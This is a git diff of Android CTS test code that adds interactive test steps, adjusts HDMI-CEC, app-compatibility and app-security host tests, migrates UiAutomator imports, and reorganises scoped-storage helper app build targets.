diff --git a/common/device-side/interactive/src/main/java/com/android/interactive/steps/LaunchIntentStep.java b/common/device-side/interactive/src/main/java/com/android/interactive/steps/LaunchIntentStep.java
new file mode 100644
index 0000000..f7938e5
--- /dev/null
+++ b/common/device-side/interactive/src/main/java/com/android/interactive/steps/LaunchIntentStep.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.interactive.steps;
+
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.interactive.Nothing;
+import com.android.interactive.Step;
+
+
+ /**
+  * A {@link Step} where the system launches an activity via an intent.
+ * If the intent cannot be started, the system will report a failure.
+ * <p>This will present "Launch" button.
+ */
+public abstract class LaunchIntentStep extends Step<Nothing> {
+    private static final String TAG = LaunchIntentStep.class.getSimpleName();
+
+    protected final String mInstruction;
+    protected final Intent mIntent;
+
+    protected LaunchIntentStep(String instruction, Intent intent) {
+        mInstruction = instruction;
+        mIntent = intent;
+    }
+
+    @Override
+    public void interact() {
+        show(mInstruction);
+        addButton("Launch", () -> {
+            startActivity(mIntent);
+            close();
+        });
+    }
+
+    protected void startActivity(Intent intent) {
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        try {
+            TestApis.context().instrumentedContext().startActivity(mIntent);
+            pass();
+        } catch (RuntimeException ex) {
+            fail(ex.getMessage());
+        }
+    }
+}
diff --git a/common/device-side/interactive/src/main/java/com/android/interactive/steps/ScreenshotValidationStep.java b/common/device-side/interactive/src/main/java/com/android/interactive/steps/ScreenshotValidationStep.java
new file mode 100644
index 0000000..6852660
--- /dev/null
+++ b/common/device-side/interactive/src/main/java/com/android/interactive/steps/ScreenshotValidationStep.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.interactive.steps;
+
+import com.android.interactive.ScreenshotUtil;
+import com.android.interactive.Step;
+
+/**
+ * A {@link Step} where the user is asked to provide a screenshot to
+ * ensure the test meets the specifications.
+ *
+ * <p>This will present "Pass Screenshot" and "Fail Screenshot" buttons.
+ */
+public abstract class ScreenshotValidationStep extends Step<Boolean> {
+
+    private final String mInstruction;
+    private final String mFilename;
+
+    protected ScreenshotValidationStep(String instruction, String filename) {
+        mInstruction = instruction;
+        mFilename = filename;
+    }
+
+    @Override
+    public void interact() {
+        show(mInstruction);
+        addButton("Pass & Take Screenshot", () -> {
+            ScreenshotUtil.captureScreenshot(mFilename);
+            pass(true);
+        });
+        addButton("Fail & Take Screenshot", () -> {
+            pass(false);
+        });
+    }
+}
diff --git a/common/device-side/interactive/src/main/res/layout-car/instruction.xml b/common/device-side/interactive/src/main/res/layout-car/instruction.xml
new file mode 100644
index 0000000..cc52943
--- /dev/null
+++ b/common/device-side/interactive/src/main/res/layout-car/instruction.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2024 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:paddingTop="30dp"
+    android:paddingBottom="30dp"
+    android:paddingLeft="30dp"
+    android:paddingRight="30dp"
+    android:orientation="horizontal">
+  <LinearLayout
+      android:paddingTop="10dp"
+      android:paddingBottom="10dp"
+      android:paddingLeft="10dp"
+      android:paddingRight="10dp"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:orientation="vertical"
+      android:background="?android:attr/windowBackground"
+      android:layout_gravity="center">
+    <TextView
+        android:id="@+id/text"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:paddingBottom="10dp"
+        android:text=""
+        android:textAlignment="center"
+        android:textColor="?android:textColorPrimary" />
+    <GridLayout
+        android:id="@+id/buttons"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:useDefaultMargins="true"
+        android:paddingBottom="10dp"
+        android:columnCount="3">
+    </GridLayout>
+  </LinearLayout>
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/appbinding/hostside/src/com/android/cts/appbinding/AppBindingHostTest.java b/hostsidetests/appbinding/hostside/src/com/android/cts/appbinding/AppBindingHostTest.java
old mode 100755
new mode 100644
index f2e4a04..c161a3b
--- a/hostsidetests/appbinding/hostside/src/com/android/cts/appbinding/AppBindingHostTest.java
+++ b/hostsidetests/appbinding/hostside/src/com/android/cts/appbinding/AppBindingHostTest.java
@@ -66,6 +66,7 @@
     private int mCurrentUserId;
 
     private static final int DEFAULT_TIMEOUT_SEC = 30;
+    private static final int DEFAULT_LONG_TIMEOUT_SEC = 70;
 
     private interface ThrowingRunnable {
         void run() throws Throwable;
@@ -579,7 +580,7 @@
     }
 
     private void assertUserHasNoFinder(int userId) throws Throwable {
-        runWithRetries(DEFAULT_TIMEOUT_SEC, () -> {
+        runWithRetries(DEFAULT_LONG_TIMEOUT_SEC, () -> {
             runCommandAndNotMatch("dumpsys app_binding -s",
                     "^finder,\\[Default\\sSMS\\sapp\\]," + userId + ",");
         });
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index 9640e7b..8e99f5d 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -144,9 +144,10 @@
      * Check that the on device config contains all the expected change ids defined in the platform.
      * The device may contain extra changes, but none may be removed.
      */
-    public void testDeviceContainsExpectedConfig() throws Exception {
-        assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
-    }
+    // Ignored due to b/319227557
+    // public void testDeviceContainsExpectedConfig() throws Exception {
+    //     assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
+    // }
 
 
     /**
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index 364dca5..d4db87f 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -702,6 +702,55 @@
             .build();
 
     /**
+     * Lists of known failures when running testApkInApex_nonClasspathClasses against pre-U devices.
+     *
+     * <p> Add the new item into this list only if the failure is caused by base device image (not the mainline train).
+     */
+    private static final ImmutableMap<String, ImmutableSet<String>> PRE_U_APK_IN_APEX_BURNDOWN_LIST =
+        new ImmutableMap.Builder<String, ImmutableSet<String>>()
+            .put("/apex/com.android.btservices/app/BluetoothGoogle/BluetoothGoogle.apk",
+                ImmutableSet.of(
+                    // b/310322439
+                    "Lcom/android/bluetooth/x/android/sysprop/AdbProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/ApkVerityProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/BluetoothProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/CarProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/ContactsProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/CryptoProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/DeviceProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/DisplayProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/HdmiProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/HypervisorProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/InputProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/MediaProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/NetworkProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/OtaProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/PowerProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/SetupWizardProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/SocProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/TelephonyProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/TraceProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/VndkProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/VoldProperties;",
+                    "Lcom/android/bluetooth/x/android/sysprop/WifiProperties;"
+                ))
+            .build();
+
+    /**
+     * Lists of known failures when running testApkInApex_nonClasspathClasses against pre-T devices.
+     *
+     * <p> Add the new item into this list only if the failure is caused by base device image (not the mainline train).
+     */
+    private static final ImmutableMap<String, ImmutableSet<String>> PRE_T_APK_IN_APEX_BURNDOWN_LIST =
+        new ImmutableMap.Builder<String, ImmutableSet<String>>()
+            .put("/apex/com.android.cellbroadcast/priv-app/GoogleCellBroadcastServiceModule/GoogleCellBroadcastServiceModule.apk",
+                ImmutableSet.of(
+                    // b/303732833
+                    "Lcom/android/internal/util/Preconditions;"
+                ))
+            .build();
+
+    /**
      * Fetch all jar files in BCP, SSCP and shared libs and extract all the classes.
      *
      * <p>This method cannot be static, as there are no static equivalents for {@link #getDevice()}
@@ -948,8 +997,22 @@
                         // e.g. /apex/com.android.btservices/app/Bluetooth@SC-DEV/Bluetooth.apk ->
                         //      /apex/com.android.btservices/app/Bluetooth/Bluetooth.apk
                         apk = apk.replaceFirst("@[^/]*", "");
-                        final ImmutableSet<String> burndownClasses =
-                                FULL_APK_IN_APEX_BURNDOWN.getOrDefault(apk, ImmutableSet.of());
+                        ImmutableSet<String> burndownClasses;
+                        if (mDeviceSdkLevel.isDeviceAtLeastU()) {
+                            burndownClasses = ImmutableSet.<String>builder()
+                                    .addAll(FULL_APK_IN_APEX_BURNDOWN.getOrDefault(apk, ImmutableSet.of())).build();
+                        } else if (mDeviceSdkLevel.isDeviceAtLeastT()) {
+                            burndownClasses = ImmutableSet.<String>builder()
+                                    .addAll(FULL_APK_IN_APEX_BURNDOWN.getOrDefault(apk, ImmutableSet.of()))
+                                    .addAll(PRE_U_APK_IN_APEX_BURNDOWN_LIST.getOrDefault(apk, ImmutableSet.of())).build();
+                        } else {
+                            // testApkInApex_nonClasspathClasses is not part of CTS until T
+                            // therefore, running this for pre-T devices with additional list of known failures.
+                            // Another option would be to skip this test entirely for pre-T devices.
+                            burndownClasses = ImmutableSet.<String>builder()
+                                    .addAll(FULL_APK_IN_APEX_BURNDOWN.getOrDefault(apk, ImmutableSet.of()))
+                                    .addAll(PRE_T_APK_IN_APEX_BURNDOWN_LIST.getOrDefault(apk, ImmutableSet.of())).build();
+                        }
                         final Multimap<String, String> duplicates =
                                 Multimaps.filterValues(sJarsToClasses, apkClasses::contains);
                         final Multimap<String, String> filteredDuplicates =
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index e6f7c0c..aefdef1 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -166,6 +166,30 @@
         ":v3-rsa-2048-decl-knownSigner-str-const-ec-p256-1",
         ":v3-rsa-2048-decl-knownSigner-str-res-ec-p256-1",
         ":v3-rsa-2048-declperm",
+        // StatsdAppSecurityAtomTest
+        ":CtsStatsSecurityApp",
+        // ApkVerityInstallTest
+        ":CtsApkVerityTestApp",
+        ":CtsApkVerityTestAppSplit",
+        // PackageSetInstallerTest
+        ":CtsPkgInstallerPermRequestApp",
+        // CtsAppDataIsolationAppA
+        ":CtsAppDataIsolationAppA",
+        ":CtsAppDataIsolationAppSharedA",
+        ":CtsAppDataIsolationAppDirectBootA",
+        ":CtsAppDataIsolationAppApi29A",
+        ":CtsAppDataIsolationAppB",
+        ":CtsAppDataIsolationAppSharedB",
+        // ReadableSettingsFieldsTest
+        ":CtsReadSettingsFieldsApp",
+        ":CtsReadSettingsFieldsAppTestOnly",
+        ":CtsReadSettingsFieldsAppTargetQ",
+        ":CtsReadSettingsFieldsAppTargetR",
+        ":CtsReadSettingsFieldsAppTargetS",
+        // UseProcessTest
+        ":CtsUseProcessFailActivity",
+        // PermissionEscalationTest
+        ":CtsDeclareNonRuntimePermissions",
     ],
     per_testcase_directory: true,
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
index 844111e..61c8e26 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.RestrictedBuildTest;
@@ -143,7 +144,8 @@
     @SuppressWarnings("productionOnly")
     @RestrictedBuildTest
     @Test
-    public void testApexPubKeyIsNotWellKnownKey() {
+    public void testApexPubKeyIsNotWellKnownKey() throws Exception {
+        assumeFalse("Skipping test on AOSP builds", isAosp());
         for (Map.Entry<String, File> entry : mExtractedTestDirMap.entrySet()) {
             final File pubKeyFile = FileUtil.findFile(entry.getValue(), APEX_PUB_KEY_NAME);
             final Iterator it = mWellKnownKeyFileList.iterator();
@@ -314,4 +316,11 @@
 
         protected abstract void onTestFailure(Statement base, Description description, Throwable t);
     }
+
+    private boolean isAosp() throws Exception {
+        String product = mDevice.getProperty("ro.product.system_ext.name");
+        String model = mDevice.getProperty("ro.product.system_ext.model");
+        return (product != null && product.startsWith("aosp_"))
+                || (model != null && model.startsWith("AOSP on "));
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 324e5e8..4361ee7 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -500,13 +500,6 @@
                 "v2-only-with-rsa-pkcs1-sha256-1024.apk", "signatures do not match");
     }
 
-    public void testInstallMaxSizedZipEocdComment() throws Exception {
-        // Obtained by modifying apksigner to produce a max-sized (0xffff bytes long) ZIP End of
-        // Central Directory comment, and signing the original.apk using the modified apksigner.
-        assertInstallSucceeds("v1-only-max-sized-eocd-comment.apk");
-        assertInstallSucceeds("v2-only-max-sized-eocd-comment.apk");
-    }
-
     public void testInstallEphemeralRequiresV2Signature() throws Exception {
         assertInstallEphemeralFailsWithError("unsigned-ephemeral.apk",
                 "Failed to collect certificates");
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index c4da1a6..360024f 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -45,11 +45,6 @@
 import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
 import android.provider.MediaStore.MediaColumns;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
-import android.support.test.uiautomator.UiSelector;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -970,15 +965,6 @@
         }
     }
 
-    private static void scrollIntoView(UiSelector selector) {
-        UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
-        try {
-            uiScrollable.scrollIntoView(selector);
-        } catch (UiObjectNotFoundException e) {
-            // Scrolling can fail if the UI is not scrollable
-        }
-    }
-
     private static Uri createDownload() throws IOException {
         final String content = "<html><body>Content</body></html>";
         final String displayName = "cts" + System.nanoTime();
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
index ab51a4f..998c784 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
@@ -9,7 +9,7 @@
     sdk_version: "test_current",
     libs: [
         "android.test.base",
-        "ub-uiautomator",
+        "androidx.test.uiautomator_uiautomator",
     ],
 }
 
@@ -19,7 +19,7 @@
     sdk_version: "test_current",
     static_libs: [
         "androidx.test.rules",
-        "ub-uiautomator",
+        "androidx.test.uiautomator_uiautomator",
     ],
     libs: ["android.test.base"],
     srcs: ["src/**/*.java"],
@@ -36,7 +36,7 @@
     sdk_version: "test_current",
     static_libs: [
         "androidx.test.rules",
-        "ub-uiautomator",
+        "androidx.test.uiautomator_uiautomator",
     ],
     libs: ["android.test.base"],
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 4672943..4720c05 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -44,12 +44,13 @@
 import android.os.UserHandle;
 import android.os.storage.StorageManager;
 import android.provider.Settings;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
-import android.support.test.uiautomator.UiSelector;
 import android.test.InstrumentationTestCase;
 
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObjectNotFoundException;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+
 import java.io.File;
 import java.io.IOException;
 import java.util.ArrayList;
@@ -162,16 +163,22 @@
     }
 
     private void clearSpaceCar(UiDevice device) throws UiObjectNotFoundException {
-        UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true));
-        assertNotNull("Cannot find scrollable object.", localObject);
-        ((UiScrollable) localObject).setMaxSearchSwipes(10);
-        try {
-            ((UiScrollable) localObject).scrollIntoView(
-                    new UiSelector().textContains("internal storage"));
-        } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
-            // Scrolling can fail if the UI is not scrollable
+        String storageString = "internal storage";
+        int i = device.findObjects(androidx.test.uiautomator.By.scrollable(true)).size();
+        for (int j = 0; j < i; j++) {
+            UiScrollable localObject = new UiScrollable(
+                    new UiSelector().scrollable(true).instance(j));
+            localObject.setMaxSearchSwipes(10);
+            try {
+                boolean found = localObject.scrollTextIntoView(storageString);
+                if (found) {
+                    break;
+                }
+            } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
+                // Scrolling can fail if the UI is not scrollable
+            }
         }
-        device.findObject(new UiSelector().textContains("internal storage")).click();
+        device.findObject(new UiSelector().textContains(storageString)).click();
         device.waitForIdle();
 
         device.findObject(new UiSelector().textContains("Clear storage")).click();
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index cb32055..5c45fa1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -694,4 +694,18 @@
         return isAudioOutputDeviceInList(audioOutputDevice,
                 "dumpsys audio | grep 'adjust-only absolute volume devices'");
     }
+
+    /**
+     * On Google TV devices the only stream played is STREAM_MUSIC.
+     * The method returns whether "Devices" in "STREAM_MUSIC" contains "hdmi" in audio dumpsys.
+     * This is required by tests where the DUT has to redirect volume key events as CEC
+     * <User Control Pressed> messages.
+     * This method might return false, because the set-up contains an HDMI Stub.
+     * See {@link android.media.AudioSystem#STREAM_MUSIC} and
+     * {@link android.media.AudioSystem#DEVICE_OUT_HDMI}.
+     */
+    public boolean isPlayingStreamMusicOnHdmiOut() throws DeviceNotAvailableException {
+        return getDevice().executeShellCommand("dumpsys audio | sed -n '/^- STREAM_MUSIC:/,/^$/p'"
+                + " | grep \"Devices\"").contains("hdmi");
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
index 298a0ad..03f6931 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
@@ -94,11 +94,13 @@
         // DeviceDiscoveryAction will send GIVE_OSD_NAME and GIVE_DEVICE_VENDOR_ID
         // HotplugDetectionAction will send GIVE_PHYSICAL_ADDRESS
         // PowerStatusMonitorAction will send GIVE_POWER_STATUS
+        // AbsoluteVolumeAudioStatusAction will send GIVE_AUDIO_STATUS
         List<CecOperand> excludeOperands = new ArrayList<>();
         excludeOperands.add(CecOperand.GIVE_PHYSICAL_ADDRESS);
         excludeOperands.add(CecOperand.GIVE_DEVICE_VENDOR_ID);
         excludeOperands.add(CecOperand.GIVE_OSD_NAME);
         excludeOperands.add(CecOperand.GIVE_POWER_STATUS);
+        excludeOperands.add(CecOperand.GIVE_AUDIO_STATUS);
 
         hdmiCecClient.sendCecMessage(message, params);
         // Default timeout for the incoming command to arrive in response to a request is 2 secs
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index b60805f..f8a29f5 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -20,6 +20,7 @@
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -63,6 +64,7 @@
                 CecOperand.REPORT_PHYSICAL_ADDRESS);
         List<CecOperand> allowedMessages = new ArrayList<>(
                 Arrays.asList(CecOperand.VENDOR_COMMAND, CecOperand.GIVE_DEVICE_VENDOR_ID,
+                        CecOperand.VENDOR_COMMAND_WITH_ID,
                         CecOperand.SET_OSD_NAME, CecOperand.GIVE_OSD_NAME, CecOperand.CEC_VERSION,
                         CecOperand.DEVICE_VENDOR_ID, CecOperand.GIVE_POWER_STATUS,
                         CecOperand.GET_MENU_LANGUAGE, CecOperand.ACTIVE_SOURCE,
@@ -70,6 +72,14 @@
                         CecOperand.REPORT_POWER_STATUS, CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS));
         allowedMessages.addAll(expectedMessages);
 
+        String deviceType = device.getProperty(HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY);
+        boolean isAudioSystem = deviceType.contains(
+                Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM));
+        if (isAudioSystem) {
+            allowedMessages.addAll(new ArrayList<>(
+                Arrays.asList(CecOperand.SET_SYSTEM_AUDIO_MODE, CecOperand.INITIATE_ARC)));
+        }
+
         device.reboot();
         /* Monitor CEC messages for 20s after reboot */
         final List<CecOperand> messagesReceived =
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
index 4a64e5c..d0f26e9 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
@@ -19,6 +19,8 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
@@ -206,6 +208,9 @@
      */
     @Test
     public void cect_sendVolumeKeyPressToTv() throws Exception {
+        // The DUT won't send <User Control Pressed> messages if this condition is not met.
+        assumeTrue(isPlayingStreamMusicOnHdmiOut());
+
         ITestDevice device = getDevice();
         String ucpMessage;
         String command = "cmd hdmi_control setsam ";
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
index 701b6d7..3f3b55f 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -18,6 +18,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
@@ -60,6 +62,8 @@
     public void cect_hf4_10_5_RemoteControlCommandsWithSystemAudioControlProperty()
             throws Exception {
         setCec20();
+        // The DUT won't send <User Control Pressed> messages if this condition is not met.
+        assumeTrue(isPlayingStreamMusicOnHdmiOut());
 
         ITestDevice device = getDevice();
         String volumeControlEnabled =
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index a2aab17..6f03e2c 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -47,6 +47,21 @@
 }
 
 android_test_helper_app {
+    name: "CtsScopedStorageTestAppA34",
+    manifest: "ScopedStorageTestHelper/TestAppA34.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "34",
+    min_sdk_version: "29",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+    ],
+}
+
+android_test_helper_app {
     name: "CtsScopedStorageTestAppB",
     manifest: "ScopedStorageTestHelper/TestAppB.xml",
     static_libs: ["cts-scopedstorage-lib"],
@@ -62,50 +77,17 @@
 }
 
 android_test_helper_app {
-    name: "CtsScopedStorageTestAppC",
-    manifest: "ScopedStorageTestHelper/TestAppC.xml",
+    name: "CtsScopedStorageTestAppB34",
+    manifest: "ScopedStorageTestHelper/TestAppB34.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
-    target_sdk_version: "33",
+    target_sdk_version: "34",
     min_sdk_version: "29",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
     test_suites: [
         "general-tests",
         "mts-mediaprovider",
-        "cts",
-    ],
-}
-
-android_test_helper_app {
-    name: "CtsScopedStorageTestAppC30",
-    manifest: "ScopedStorageTestHelper/TestAppC30.xml",
-    static_libs: ["cts-scopedstorage-lib"],
-    sdk_version: "test_current",
-    target_sdk_version: "30",
-    min_sdk_version: "29",
-    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
-    // Tag as a CTS artifact
-    test_suites: [
-        "general-tests",
-        "mts-mediaprovider",
-        "cts",
-    ],
-}
-
-android_test_helper_app {
-    name: "CtsScopedStorageTestAppCLegacy",
-    manifest: "ScopedStorageTestHelper/TestAppCLegacy.xml",
-    static_libs: ["cts-scopedstorage-lib"],
-    sdk_version: "test_current",
-    target_sdk_version: "28",
-    min_sdk_version: "28",
-    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
-    // Tag as a CTS artifact
-    test_suites: [
-        "general-tests",
-        "mts-mediaprovider",
-        "cts",
     ],
 }
